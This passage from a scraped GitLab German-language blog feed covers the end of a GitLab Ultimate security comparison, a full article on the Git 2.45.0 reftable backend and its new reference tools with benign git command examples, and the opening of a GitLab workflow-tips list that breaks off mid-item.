Sicherheits-Dashboard. Weitere Informationen findest du in der [Dokumentation zur Integration von Sicherheitsscannern](https://docs.gitlab.com/ee/development/integrations/secure.html).\n\n\n### Granulare Sicherheits- und Konformitätsrichtlinien\n\n\nMit den Richtlinien in GitLab können Sicherheits- und Konformitätsteams [Kontrollen weltweit in ihrem Unternehmen durchsetzen](https://about.gitlab.com/blog/meet-regulatory-standards-with-gitlab/). Sicherheitsteams können Folgendes sicherstellen:\n\n\n– Sicherheitsscanner werden in den Pipelines des Entwicklungsteams mit der richtigen Konfiguration durchgesetzt.\n\n– Alle Scan-Jobs werden ohne Änderungen oder Modifikationen ausgeführt.\n\n– Ordnungsgemäße Genehmigungen für Merge Requests werden auf der Grundlage der Ergebnisse dieser Befunde erteilt.\n\n\n![Sicherheitsrichtlinien für Merge Requests](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749674404/Blog/Content%20Images/14-MR-Policy.png)\n\n\nKonformitätsteams können zentral mehrere Genehmigende für alle Merge Requests erzwingen und sicherstellen, dass verschiedene Einstellungen für Projekte im Rahmen der organisatorischen Anforderungen aktiviert sind, z. B. die Aktivierung oder Sperrung von Merge Requests und Repository-Einstellungen. Weitere Informationen findest du in der [GitLab-Sicherheitsrichtlinie](https://docs.gitlab.com/ee/user/application_security/policies/).\n\n\n### Benutzerdefinierte Rollen und granulare Berechtigungen\n\n\n[GitLab Ultimate bietet benutzerdefinierte Rollen](https://about.gitlab.com/blog/how-to-tailor-gitlab-access-with-custom-roles/), mit denen ein Unternehmen Benutzerrollen mit genau den Privilegien und Berechtigungen erstellen kann, die für die Bedürfnisse dieses Unternehmen erforderlich sind.\n\n\nZum Beispiel könnte ein(e) Benutzer(in) eine „Security Auditor“-Rolle mit Berechtigungen zum Anzeigen von Sicherheitslücken im System erstellen, mit der aber kein Quellcode angezeigt oder Änderungen im Repository vorgenommen werden kann. Dieser granulare Satz von Berechtigungen ermöglicht eine klar definierte Aufgabentrennung.\n\n\n![Benutzerdefinierte Rollenerstellung](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749674404/Blog/Content%20Images/15-Custom-Roles.png)\n\n\nWeitere Informationen findest du in den Dokumentationen zu [benutzerdefinierten Rollen](https://docs.gitlab.com/ee/user/custom_roles.html) und [verfügbaren granularen Berechtigungen](https://docs.gitlab.com/ee/user/custom_roles/abilities.html).\n\n\n### Konformitäts-Center\n\n\nDas Konformitäts-Center ist der zentrale Ort für Konformitätsteams, um die Konformitätsstandards, die Berichterstattung über Verstöße und die Konformitätsframeworks für ihre Gruppe zu verwalten. Das Konformitäts-Center umfasst Folgendes:\n\n\n– Das [Dashboard zur Einhaltung von Konformitätsstandards](https://docs.gitlab.com/ee/user/compliance/compliance_center/compliance_standards_adherence_dashboard.html) listet den Status der Einhaltung von Projekten auf, die dem GitLab-Standard entsprechen.\n\n– Der [Bericht über Konformitätsverstöße](https://docs.gitlab.com/ee/user/compliance/compliance_center/compliance_violations_report.html) zeigt eine allgemeine Ansicht der Merge-Request-Aktivität für alle Projekte in der Gruppe.\n\n– Der [Bericht über Konformitätsframeworks](https://docs.gitlab.com/ee/user/compliance/compliance_center/compliance_frameworks_report.html) zeigt alle Konformitätsframeworks einer Gruppe.\n\n– Der [Bericht über Konformitätsprojekte](https://docs.gitlab.com/ee/user/compliance/compliance_center/compliance_projects_report.html) zeigt die Konformitätsframeworks, die auf Projekte einer Gruppe angewendet werden.\n\n\n![Konformitäts-Center](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749674404/Blog/Content%20Images/16-Compliance-Center.png)\n\n\nMit diesen Dashboards kannst du sicherstellen, dass die Aufgabentrennung eingehalten wird, um die Konformität in deinem Unternehmen zu optimieren. Weitere Informationen findest du in der [Konformitäts-Center-Dokumentation](https://docs.gitlab.com/ee/user/compliance/compliance_center/).\n\n\n## Weiterlesen\n\n\nDieser Artikel behandelt nur einen Teil des breiten Spektrums an Sicherheitsfunktionen, die GitLab Ultimate bietet. Schau dir diese Ressourcen an, um mehr darüber zu erfahren, wie GitLab Ultimate dazu beitragen kann, die Sicherheit deines Unternehmens und die Effizienz deiner Entwickler(innen) zu verbessern:\n\n\n– [Was spricht für GitLab Ultimate?\n\n](https://about.gitlab.com/pricing/ultimate/)\n\n– [Tutorial: Erste Schritte mit DevSecOps](https://gitlab-da.gitlab.io/tutorials/security-and-governance/devsecops/simply-vulnerable-notes/)\n\n– [Beispielprojekt: Erste Schritte mit DevSecOps](https://gitlab.com/gitlab-da/tutorials/security-and-governance/devsecops/simply-vulnerable-notes)\n\n– [Dokumentation: Importiere dein Projekt von GitHub in GitLab](https://docs.gitlab.com/ee/user/project/import/github.html)\n\n– [Dokumentation: Migration von GitHub Actions](https://docs.gitlab.com/ee/ci/migration/github_actions.html)\n\n– [Tutorial: Erstelle deine erste GitLab CI/CD-Pipeline und führe sie aus](https://docs.gitlab.com/ee/ci/quick_start/)\n\n– [Tutorial: Erstelle eine komplexe Pipeline](https://docs.gitlab.com/ee/ci/quick_start/tutorial.html)\n\n– [CI/CD-YAML-Syntaxreferenz](https://docs.gitlab.com/ee/ci/yaml/)\n",[762],"2024-05-01","GitLab Ultimate vs. GitHub Security: Der vollständige Vergleich und Migrationsleitfaden 2025",[767,3284,765,746,768],"zero trust","GitHub hat Advanced Security in zwei teure Einzelprodukte aufgeteilt. Entdecke, wie GitLab Ultimate mehr bietet und spare dabei Geld. Inklusive vollständiger Migrationsanleitung und aktuellem Feature-Vergleich 2025.",{"slug":3287,"featured":92,"template":682},"migration-guide-github-advanced-security-to-gitlab-ultimate","content:de-de:blog:migration-guide-github-advanced-security-to-gitlab-ultimate.yml","Migration Guide Github Advanced Security To Gitlab Ultimate","de-de/blog/migration-guide-github-advanced-security-to-gitlab-ultimate.yml","de-de/blog/migration-guide-github-advanced-security-to-gitlab-ultimate",{"_path":3293,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":3294,"content":3300,"config":3305,"_id":3307,"_type":16,"title":3308,"_source":17,"_file":3309,"_stem":3310,"_extension":20},"/de-de/blog/whats-new-in-git-2-45-0",{"ogTitle":3295,"schema":3296,"ogImage":3297,"ogDescription":3298,"ogSiteName":1396,"noIndex":6,"ogType":1397,"ogUrl":3299,"title":3295,"canonicalUrls":3299,"description":3298},"Was ist neu in Git 2.45.0?","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Was ist neu in Git 2.45.0?\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Patrick Steinhardt\"}],\n        \"datePublished\": \"2024-04-30\",\n      }","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749659507/Blog/Hero%20Images/AdobeStock_623844718.jpg","Hier sind einige Highlights der Beiträge des Git-Teams von GitLab und der breiteren Git-Community zur neuesten Git-Version, darunter reftables und bessere Tools für Referenzen.","https://about.gitlab.com/blog/whats-new-in-git-2-45-0",{"title":3295,"description":3298,"authors":3301,"heroImage":3297,"date":3302,"body":3303,"category":1033,"tags":3304},[1754],"2024-04-30","Das Git-Projekt hat kürzlich [Git-Version\n\n2.45.0](https://lore.kernel.org/git/xmqq8r0ww0sj.fsf@gitster.g/ \"Git Version\n\n2.45.0\") veröffentlicht. Werfen wir einen Blick auf die Highlights dieser\n\nVersion, die Beiträge des Git-Teams von GitLab und der gesamten\n\nGit-Community enthält.\n\n\n\n## Reftables: Ein neues Backend zum Speichern von Referenzen\n\n\n\nJedes Git-Repository muss zwei grundlegende Datenstrukturen erfassen:\n\n\n\n- Den Objektgraphen, der die Daten deiner Dateien, die Verzeichnisstruktur,\n\nCommit-Nachrichten und Tags speichert.\n\n\n- Referenzen, die auf diesen Objektgraphen verweisen, um bestimmte Objekte\n\nmit einem leichter verständlichen Namen zu verknüpfen. Ein Branch ist zum\n\nBeispiel eine Referenz, deren Name mit dem Präfix `refs/heads/` beginnt.\n\n\n> **Über 6,4 Mio. Builds pro Monat: So transformiert Siemens seine Softwareentwicklung mit GitLab** Über 40.000 Entwickler(innen) bei Siemens nutzen GitLab, um weltweit zusammenzuarbeiten und jeden Monat mehr als 6,4 Millionen Software-Versionen automatisch bereitzustellen. Erfahre, wie eine offene DevOps-Kultur und eine zentrale Plattform die Effizienz und Sicherheit steigern. [Erfolgsstory lesen](https://about.gitlab.com/de-de/customers/siemens/)\n\n\nDas Format, in dem Referenzen in einem Repository auf der Festplatte\n\ngespeichert werden, ist seit der Einführung von Git weitgehend unverändert\n\ngeblieben und wird als „files“-Format bezeichnet. Jedes Mal, wenn du eine\n\nReferenz erstellst, legt Git eine sogenannte „lose Referenz“ an. Das ist\n\neine einfache Datei in deinem Git-Repository, deren Pfad mit dem Namen der\n\nReferenz übereinstimmt. Zum Beispiel:\n\n\n\n```shell\n\n\n$ git init .\n\n\nInitialized empty Git repository in /tmp/repo/.git/\n\n\n\n# Das Updaten einer Referenz veranlasst Git dazu, eine “lose Referenz”\n\n\n# zu erstellen. Diese lose Referenz ist eine einfache Datei, welche die\n\n\n# Objekt-ID des Commits enthält.\n\n\n$ git commit --allow-empty --message \"Initial commit\"\n\n\n[main (root-commit) c70f266] Initial commit\n\n\n$ cat .git/refs/heads/main\n\n\nc70f26689975782739ef9666af079535b12b5946\n\n\n\n# Wenn man eine zweite Referenz erstellt, wird diese als zweite lose\n\n\n# Referenz gespeichert.\n\n\n$ git branch feature\n\n\n$ cat .git/refs/heads/feature\n\n\nc70f26689975782739ef9666af079535b12b5946\n\n\n$ tree .git/refs\n\n\n.git/refs/\n\n\n├── heads\n\n\n│   ├── feature\n\n\n│   └── main\n\n\n└── tags\n\n\n\n3 directories, 2 files\n\n\n```\n\n\nVon Zeit zu Zeit packt Git diese Referenzen in ein „gepacktes“ Dateiformat,\n\ndamit es effizienter wird, Referenzen nachzuschlagen. Zum Beispiel:\n\n\n\n```shell\n\n\n# Wenn man Referenzen packt, erstellt Git eine “packed-refs” Datei.\n\n\n# Diese Datei enthält die sortierte Liste von vorher losen Referenzen.\n\n\n# Die losen Referenzen existieren nicht mehr.\n\n\n$ git pack-refs --all\n\n\n$ cat .git/refs/heads/main\n\n\ncat: .git/refs/heads/main: No such file or directory\n\n\n$ cat .git/packed-refs\n\n\n# pack-refs with: peeled fully-peeled sorted\n\n\nc70f26689975782739ef9666af079535b12b5946 refs/heads/feature\n\n\nc70f26689975782739ef9666af079535b12b5946 refs/heads/main\n\n\n```\n\n\nDieses Format ist zwar ziemlich simpel, hat aber Einschränkungen:\n\n\n\n- In großen Mono-Repos mit vielen Referenzen stießen wir auf Probleme mit\n\nder Skalierbarkeit. Das Löschen von Referenzen ist besonders ineffizient, da\n\ndie gesamte „packed-refs“-Datei neu geschrieben werden muss, um die\n\ngelöschte Referenz zu entfernen. In unseren größten Repositorys kann dies\n\ndazu führen, dass bei jedem Löschen einer Referenz mehrere Gigabyte an Daten\n\nneu geschrieben werden müssen.\n\n\n- Da mehrere Dateien gelesen werden müssen, um alle Referenzen des Repos zu\n\nermitteln, ist dies atomar nicht möglich. Sobald andere Prozesse existieren,\n\ndie in das Repo schreiben wollen, kann es dadurch zu Inkonsistenzen kommen.\n\n\n- Es ist unmöglich, atomar mehrere Referenzen gleichzeitig zu schreiben,\n\nweil dafür mehrere Dateien erstellt oder aktualisiert werden müssen.\n\n\n- Das Packen von Referenzen lässt sich nicht gut skalieren, weil die gesamte\n\n„packed-refs“-Datei neu geschrieben werden muss.\n\n\n- Da lose Referenzen den Dateisystempfad als Namen verwenden, unterliegen\n\nsie dem dateisystemspezifischen Verhalten. So können z. B. Dateisysteme, die\n\nGroß- und Kleinschreibung nicht unterscheiden, keine Referenzen speichern,\n\nbei denen nur die Groß- und Kleinschreibung unterschiedlich ist.\n\n\n\nUm diese Probleme zu lösen, wurde mit Git v2.45.0 ein neues\n\n„reftable“-Backend eingeführt, das ein neues Binärformat zum Speichern von\n\nReferenzen verwendet. Dieses neue Backend wird schon sehr lange entwickelt:\n\nes wurde ursprünglich von [Shawn\n\nPearce](https://sfconservancy.org/blog/2018/jan/30/shawn-pearce/ \"Shawn\n\nPearce\") im Juli 2017 vorgeschlagen und zunächst in\n\n[JGit](https://www.eclipse.org/jgit/ \"JGit\") implementiert. Das\n\n[Gerrit-Projekt](https://www.gerritcodereview.com/ \"Gerrit Projekt\") nutzt\n\nes bereits ausgiebig. Im Jahr 2021 hat [Han-Wen\n\nNienhuys](https://hanwen.home.xs4all.nl/ \"Han-Wen Nienhuys\") die Bibliothek\n\nin Git hochgeladen, die es ermöglicht, das reftable-Format zu lesen und zu\n\nschreiben.\n\n\n\nDas neue „reftable“-Backend, das wir in Git v2.45.0 hochgeladen haben,\n\nbringt nun endlich die reftable-Bibliothek und Git zusammen, so dass du das\n\nneue Format als Speicher-Backend in deinen Git-Repositorys verwenden kannst.\n\n\n\nWenn du mindestens Git v2.45.0 verwendest, kannst du neue Repositorys mit\n\ndem „reftable“-Format erstellen, indem du den Schalter\n\n`--ref-format=reftable` entweder an `git-init(1)` oder an `git-clone(1)`\n\nübergibst. Zum Beispiel:\n\n\n\n```shell\n\n\n$ git init --ref-format=reftable .\n\n\nInitialized empty Git repository in /tmp/repo/.git/\n\n\n$ git rev-parse --show-ref-format\n\n\nreftable\n\n\n$ find -type f .git/reftable/\n\n\n.git/reftable/0x000000000001-0x000000000001-01b5e47d.ref\n\n\n.git/reftable/tables.list\n\n\n\n$ git commit --allow-empty --message \"Initial commit\"\n\n\n$ find -type f .git/reftable/\n\n\n.git/reftable/0x000000000001-0x000000000001-01b5e47d.ref\n\n\n.git/reftable/0x000000000002-0x000000000002-87006b81.ref\n\n\n.git/reftable/tables.list\n\n\n```\n\n\nWie du siehst, werden die Referenzen jetzt im Verzeichnis `.git/reftable`\n\nstatt in `.git/refs` gespeichert. Die Referenzen und die Reflogs werden in\n\n„tables“ gespeichert. Das sind die Dateien, die auf `.ref` enden. Die Datei\n\n`tables.list` enthält die Liste aller derzeit aktiven Tabellen. Die\n\ntechnischen Details rund um die Funktionsweise werden wir in einem separaten\n\nBlogbeitrag erklären. Bleib dran!\n\n\n\nDas „reftable“-Backend ist als vollwertiger Ersatz für das „files“-Backend\n\ngedacht. Aus der Sicht der Benutzer(innen) sollte also alles gleich\n\nfunktionieren.\n\n\n\nDieses Projekt wurde von [Patrick Steinhardt](https://gitlab.com/pks-gitlab\n\n\"Patrick Steinhardt\") geleitet. Dank gebührt auch Shawn Pearce, dem Erfinder\n\ndes Formats, und Han-Wen Nienhuys, dem Autor der reftable-Bibliothek.\n\n\n\n## Bessere Tools für Referenzen \n\n\n\nDas Format „reftable“ löst zwar viele der Probleme, die wir haben, es bringt\n\nallerdings auch einige neue Probleme mit sich. Eines der wichtigsten\n\nProbleme ist die Zugänglichkeit der darin enthaltenen Daten.\n\n\n\nMit dem „files“-Backend kannst du im schlimmsten Fall deine normalen\n\nUnix-Tools verwenden, um den Zustand der Referenzen zu überprüfen. Sowohl\n\ndie „gepackten“ als auch die „losen“ Referenzen enthalten menschenlesbare\n\nDaten, die man leicht verstehen kann. Das ist beim „reftable“-Format anders,\n\nda es sich um ein Binärformat handelt. Daher muss Git alle notwendigen Tools\n\nbereitstellen, um Daten aus dem neuen „reftable“-Format zu extrahieren.\n\n\n\n### Auflisten aller Referenzen\n\n\n\nDas erste Problem bestand darin, dass es im Grunde unmöglich ist, alle\n\nReferenzen zu ermitteln, die ein Repository kennt. Das ist zunächst etwas\n\nrätselhaft: Du kannst über Git Referenzen erstellen und ändern, aber es kann\n\nnicht alle Referenzen auflisten, die es kennt?\n\n\n\nWährend es problemlos alle „normalen“ Referenzen auflisten kann, die mit dem\n\nPräfix `refs/` beginnen, verwendet Git auch sogenannte Pseudo-Referenzen.\n\nDiese Dateien befinden sich direkt im Stammverzeichnis des\n\nGit-Verzeichnisses und wären zum Beispiel Dateien wie `.git/MERGE_HEAD`. Das\n\nProblem dabei ist, dass diese Pseudo-Referenzen neben anderen Dateien\n\nliegen, die Git speichert, wie z. B. `.git/config`.\n\n\n\nWährend einige Pseudo-Referenzen bekannt und daher leicht zu identifizieren\n\nsind, gibt es theoretisch keine Grenzen dafür, welche Referenzen Git\n\nschreiben kann. Nichts hält dich davon ab, eine Referenz mit dem Namen\n\n„foobar“ zu erstellen.\n\n\n\nZum Beispiel:\n\n\n\n```shell\n\n\n$ git update-ref foobar HEAD\n\n\n$ cat .git/foobar\n\n\nf32633d4d7da32ccc3827e90ecdc10570927c77d\n\n\n```\n\n\nDas Problem des „files“-Backends ist, dass es Referenzen nur aufzählen kann,\n\nindem es Verzeichnisse durchsucht. Um herauszufinden, dass es sich bei\n\n`.git/foobar` tatsächlich um eine Referenz handelt, müsste Git die Datei\n\nöffnen und prüfen, ob sie wie eine Referenz formatiert ist oder nicht.\n\n\n\nDas „reftable“-Backend hingegen kennt sämtliche Referenzen, die es enthält:\n\nSie sind in seinen Datenstrukturen kodiert, so dass es lediglich diese\n\nReferenzen dekodieren und zurückgeben muss. Aufgrund der Einschränkungen des\n\n„files“-Backends gibt es jedoch kein Tool, mit dem du alle vorhandenen\n\nReferenzen ermitteln kannst.\n\n\n\nUm dieses Problem zu lösen, haben wir `git-for-each-ref(1)` mit dem neuen\n\nFlag `--include-root-refs` ausgestattet, das auch alle Referenzen auflistet,\n\ndie im Stammverzeichnis der Referenznamen-Hierarchie existieren. Zum\n\nBeispiel:\n\n\n\n```shell\n\n\n$ git for-each-ref --include-root-refs\n\n\nf32633d4d7da32ccc3827e90ecdc10570927c77d commit    HEAD\n\n\nf32633d4d7da32ccc3827e90ecdc10570927c77d commit    MERGE_HEAD\n\n\nf32633d4d7da32ccc3827e90ecdc10570927c77d commit    refs/heads/main\n\n\n```\n\n\nFür das „files“-Backend wird dieses neue Flag nach dem Best-Effort-Prinzip\n\nbehandelt, d.h. es werden alle Referenzen aufgenommen, die mit einem\n\nbekannten Pseudo-Referenznamen übereinstimmen. Für das „reftable“-Backend\n\nkönnen wir einfach alle bekannten Referenzen auflisten.\n\n\n\nDieses Projekt wurde von [Karthik Nayak](https://gitlab.com/knayakgl\n\n\"Karthik Nayak\") geleitet.\n\n\n\n### Auflisten aller reflogs\n\n\n\nJedes Mal, wenn du einen Branch aktualisierst, zeichnet Git diese\n\nBranch-Aktualisierung standardmäßig in einem sogenannten reflog auf. Dieses\n\nreflog ermöglicht es dir, Änderungen an diesem Branch rückgängig zu machen,\n\nfalls du eine unbeabsichtigte Änderung vorgenommen hast, und kann daher sehr\n\nhilfreich sein.\n\n\n\nMit dem „files“-Backend werden diese Protokolle in deinem\n\n`.git/logs`-Verzeichnis gespeichert:\n\n\n\n```shell\n\n\n$ find -type f .git/logs/\n\n\n.git/logs/HEAD\n\n\n.git/logs/refs/heads/main\n\n\n```\n\n\nTatsächlich ist die Auflistung der Dateien in diesem Verzeichnis die einzige\n\nMöglichkeit, um herauszufinden, welche Referenzen überhaupt ein reflog\n\nhaben. Dies ist ein Problem für das „reftable“-Backend, das diese Logs\n\nzusammen mit den Referenzen speichert. Folglich gibt es keine Möglichkeit\n\nmehr, herauszufinden, welche reflogs im Repository überhaupt existieren,\n\nwenn du das „reftable“ Format verwendest.\n\n\n\nDies ist jedoch nicht wirklich die Schuld des „reftable“-Formats, sondern\n\neine Lücke in den von Git bereitgestellten Tools. Um diese Lücke zu\n\nschließen, haben wir einen neuen Unterbefehl `list` für `git-reflog(1)`\n\neingeführt, mit dem du alle vorhandenen reflogs auflisten kannst:\n\n\n\n```shell\n\n\n$ git reflog list\n\n\nHEAD\n\n\nrefs/heads/main\n\n\n```\n\n\nDieses Projekt wurde von [Patrick Steinhardt](https://gitlab.com/pks-gitlab\n\n\"Patrick Steinhardt\") geleitet.\n\n\n\n### Effizienteres Packen von Referenzen\n\n\n\nUm effizient zu bleiben, müssen Git-Repositorys regelmäßig gewartet werden.\n\nNormalerweise wird diese Wartung durch verschiedene Git-Befehle ausgelöst,\n\ndie Daten in die Git-Repositorys schreiben, indem sie den Befehl `git\n\nmaintenance run --auto` ausführen. Dieser Befehl optimiert nur die\n\nDatenstrukturen, die tatsächlich optimiert werden müssen, damit Git keine\n\nComputeressourcen verschwendet.\n\n\n\nEine Datenstruktur, die von der Git-Wartung optimiert wird, ist die\n\nReferenzdatenbank, die mit dem Befehl `git pack-refs --all` optimiert wird.\n\nFür das „files“-Backend bedeutet dies, dass alle Referenzen in die\n\n„packed-refs“-Datei gepackt und die losen Referenzen gelöscht werden,\n\nwährend für das „reftable“-Backend alle Tabellen in einer einzigen Tabelle\n\nzusammengefasst werden.\n\n\n\nIm Hinblick auf das „files“-Backend können wir nicht viel besser vorgehen.\n\nDa die gesamte „packed-refs“-Datei ohnehin neu geschrieben werden muss, ist\n\nes sinnvoll, alle losen Referenzen zu packen.\n\n\n\nFür das „reftable“-Backend ist dies jedoch suboptimal, da sich das\n\n„reftable“-Backend selbst optimiert. Jedes Mal, wenn Git eine neue Tabelle\n\nan das „reftable“-Backend anhängt, führt es eine automatische Komprimierung\n\ndurch und führt die Tabellen nach Bedarf zusammen. Deshalb sollte sich die\n\nReferenzdatenbank immer in einem gut optimierten Zustand befinden, sodass\n\ndas Zusammenführen aller Tabellen vergebliche Mühe wäre.\n\n\n\nIn Git v2.45.0 haben wir daher einen neuen Modus `git pack-refs --auto`\n\neingeführt, der das Referenz-Backend auffordert, nach Bedarf zu optimieren.\n\nWährend das „files“-Backend auch bei gesetztem `--auto`-Flag weiterhin\n\ngleich funktioniert, verwendet das „reftable“-Backend die gleichen\n\nHeuristiken, die es bereits für seine automatische Komprimierung verwendet.\n\nIn der Praxis sollte dies in den meisten Fällen kein Problem darstellen.\n\n\n\nAußerdem wurde `git maintenance run --auto` so angepasst, dass das Flag\n\n`--auto` an `git-pack-refs(1)` übergeben wird, um diesen neuen Modus\n\nstandardmäßig zu verwenden.\n\n\n\nDieses Projekt wurde von [Patrick Steinhardt](https://gitlab.com/pks-gitlab\n\n\"Patrick Steinhardt\") geleitet. \n\n\n\n## Weiterlesen\n\n\n\nIn diesem Blogbeitrag ging es vor allem um das neue „reftable“-Backend, das\n\nes uns ermöglicht, in großen Repositorys mit vielen Referenzen besser zu\n\nskalieren, sowie um die zugehörigen Tools, die wir parallel dazu eingeführt\n\nhaben, damit es gut funktioniert. Natürlich hat die Git-Community mit dieser\n\nVersion auch verschiedene Leistungsverbesserungen, Fehlerbehebungen und\n\nkleinere Funktionen eingeführt. Diese kannst du in der [offiziellen\n\nVersionsankündigung](https://lore.kernel.org/git/xmqq8r0ww0sj.fsf@gitster.g/\n\n\"offiziellen Versionsankündigung\") des Git-Projekts nachlesen.\n",[849,270],{"slug":3306,"featured":6,"template":682},"whats-new-in-git-2-45-0","content:de-de:blog:whats-new-in-git-2-45-0.yml","Whats New In Git 2 45 0","de-de/blog/whats-new-in-git-2-45-0.yml","de-de/blog/whats-new-in-git-2-45-0",{"_path":3312,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":3313,"content":3319,"config":3324,"_id":3326,"_type":16,"title":3327,"_source":17,"_file":3328,"_stem":3329,"_extension":20},"/de-de/blog/top-10-gitlab-workflow-hacks-you-need-to-know",{"title":3314,"description":3315,"ogTitle":3314,"ogDescription":3315,"noIndex":6,"ogImage":3316,"ogUrl":3317,"ogSiteName":1396,"ogType":1397,"canonicalUrls":3317,"schema":3318},"Die Top 10 GitLab-Workflow-Hacks, die du kennen musst","Eine Produktmanagerin von GitLab nennt ihre Lieblingstricks, um schnell und effizient durch die GitLab DevSecOps-Plattform zu navigieren und die Zusammenarbeit im Team zu fördern.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099361/Blog/Hero%20Images/Blog/Hero%20Images/lightvisibility_lightvisibility.png_1750099361252.png","https://about.gitlab.com/blog/top-10-gitlab-workflow-hacks-you-need-to-know","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Die Top 10 GitLab-Workflow-Hacks, die du kennen musst\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Amanda Rueda\"}],\n        \"datePublished\": \"2024-04-09\",\n      }\n                  ",{"title":3314,"description":3315,"authors":3320,"heroImage":3316,"date":3321,"body":3322,"category":697,"tags":3323},[1812],"2024-04-09","In der Welt der Softwareentwicklung geht es bei der Effizienz nicht nur um Schnelligkeit, sondern auch um intelligente Navigation. Als Produktmanagerin von GitLab weiß ich, wie wichtig Effizienz bei der Arbeit mit der DevSecOps-Plattform ist. Dies sind meine 10 Lieblingsfunktionen von GitLab. Vielleicht sind das genau die Workflow-Hacks, von denen du noch gar nicht wusstest, dass du sie brauchst.\n\nMit diesen Geheimtipps kannst du die Produktivität und Zusammenarbeit in deinem Team auf eine neue Stufe heben.\n\n## 1. Kommentare auflösen\n\nNicht nur für Merge Requests! Das Auflösen von Kommentaren zu Tickets sorgt für Ordnung und vereinfacht die Aufgabenverwaltung erheblich. Es ist besonders praktisch, um Feedback effizient zu verwalten.\n\n> **Warum liebe ich es?** Das Auflösen von Kommentaren sorgt nicht nur für Ordnung in einem Ticket, sondern ist auch eine gute Möglichkeit, Aufgaben zu verwalten.\n> \n> **Anwendungsfall.** Das Auflösen von Kommentaren ist ein großartiges Tool für Tickets, zu denen du Feedback sammelst. Du kannst auf das Feedback reagieren und einen Link bereitstellen, den Kommentar auflösen und mit dem nächsten fortfahren.\n> \n> __[Anleitung](https://docs.gitlab.com/ee/user/discussions/#resolve-a-thread)__\n\n![Beispiel für das Auflösen von Kommentaren – Bild 1](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099376/Blog/Content%20Images/Blog/Content%20Images/image5_aHR0cHM6_1750099376147.gif)\n\n\u003Cp>\u003C/p>\n\n## 2. Interne Kommentare\n\nSprich direkt mit deinem Team, ohne externe Zuhörer(innen). Diskutiere privat innerhalb eines Tickets oder eines Merge Requests. Dabei sind die Kommentare nur für deine Teammitglieder sichtbar. Es ist die perfekte Balance zwischen Transparenz und Vertraulichkeit.\n\n> **Warum liebe ich es?** Es schafft ein Gleichgewicht zwischen Vertraulichkeit und Transparenz und hält gleichzeitig die breitere Diskussion für die Gemeinschaft offen.\n> \n> **Anwendungsfall.** Wenn du eine Produkteinführung koordinierst, kann dein Marketingteam interne Kommentare nutzen, um Nachrichten und Strategien zu diskutieren und zu verfeinern. So bleiben deine Diskussionen an einem zentralen Ort und sind im Entwurfsmodus für das Team leicht zugänglich.\n> \n> **[Anleitung](https://docs.gitlab.com/ee/user/discussions/#add-an-internal-note)**\n\n![Beispiel für interne Kommentare](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099376/Blog/Content%20Images/Blog/Content%20Images/image2_aHR0cHM6_1750099376148.png)\n\n\u003Cp>\u003C/p>\n\n## 3. Und/oder in Filtern\n\nBei der Suche nach Datensätzen auf einer Listenseite kannst du mit Hilfe von Und/oder-Filtern das Durcheinander durchdringen und schnell und effizient genau das finden, wonach du suchst.\n\n> **Warum liebe ich es?** Es ist perfekt, um genau das zu finden, was du suchst, und um effiziente und optimierte Workflows zu ermöglichen.\n> \n> **Anwendungsfall.** Suche nach Funktionstickets zu einer bestimmten Initiative, die bestimmten Gruppen zugeordnet sind.\n>\n> __[Anleitung](https://docs.gitlab.com/ee/user/project/issues/managing_issues.html#filter-with-the-or-operator)__\n\n![Beispiel des Und/oder-Filters](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099376/Blog/Content%20Images/Blog/Content%20Images/and_or__1__aHR0cHM6_1750099376152.gif)\n\n\u003Cp>\u003C/p>\n\n## 4. Automatisches Erweitern von URLs\n\nWenn du ein „+“ oder „+s“ an das Ende einer GitLab-URL anhängst, wird sie zu einem informativen Code-Schnipsel, mit dem du den Fortschritt teilen kannst, ohne dass deine Teammitglieder die Seite verlassen müssen.\n\n> **Warum liebe ich es?** Es ist wie ein Röntgenblick für URLs – du siehst die wichtigen Dinge auf einen Blick, ohne zu klicken!\n> \n> **Anwendungsfall.** Du möchtest in Kommentaren Fortschritte teilen? Füge einfach ein „+s“ zum Link hinzu und schon sind alle auf dem gleichen Stand.\n> \n> __[Anleitung](https://docs.gitlab.com/ee/user/markdown.html#show-the-issue-merge-request-or-epic-title-in-the-reference)__\n\n![Beispiel für das automatische Erweitern von URLs](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099376/Blog/Content%20Images/Blog/Content%20Images/image7_aHR0cHM6_1750099376154.gif)\n\n\u003Cp>\u003C/p>\n\n## 5. Schnellzugriff\n\nMit einfachen Textbefehlen kannst du über den Schnellzugriff Aufgaben wie die Zuweisung von Benutzer(inne)n, das Hinzufügen von Bezeichnungen und vieles mehr direkt aus dem Beschreibungs- oder Kommentarfeld heraus erledigen. Das spart Klicks und Zeit.\n\n> **Warum liebe ich es?** Es spart Klicks und Zeit.\n> \n> **Anwendungsfall.** Beim Erstellen eines neuen Tickets verwende ich den Schnellzugriff, um automatisch Labels und einen Meilenstein hinzuzufügen und beim Speichern des Datensatzes eine Verbindung mit dem Epic herzustellen.\n> \n> __[Anleitung](https://docs.gitlab.com/ee/user/project/quick_actions.html)__\n\n![Beispiel für eine Schnellzugriff-Aktion](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099376/Blog/Content%20Images/Blog/Content%20Images/image6_aHR0cHM6_1750099376156.gif)\n\n\u003Cp>\u003C/p>\n\n## 6. Stapelbearbeitung \n\nFüge Labels hinzu, ändere Beauftragte oder aktualisiere Meilensteine für mehrere Probleme auf einmal. Diese Funktion macht potenziell mühsame Aktualisierungen zum Kinderspiel und ermöglicht schnelle Anpassungen für zahlreiche Tickets.\n\n> **Warum liebe ich es?** Weil es lästige Updates zu schnellen Updates macht!\n> \n> **Anwendungsfall.** Du willst die Tickets des gesamten Sprints mit dem Label „Review erforderlich“ kennzeichnen? Verwende einfach einen 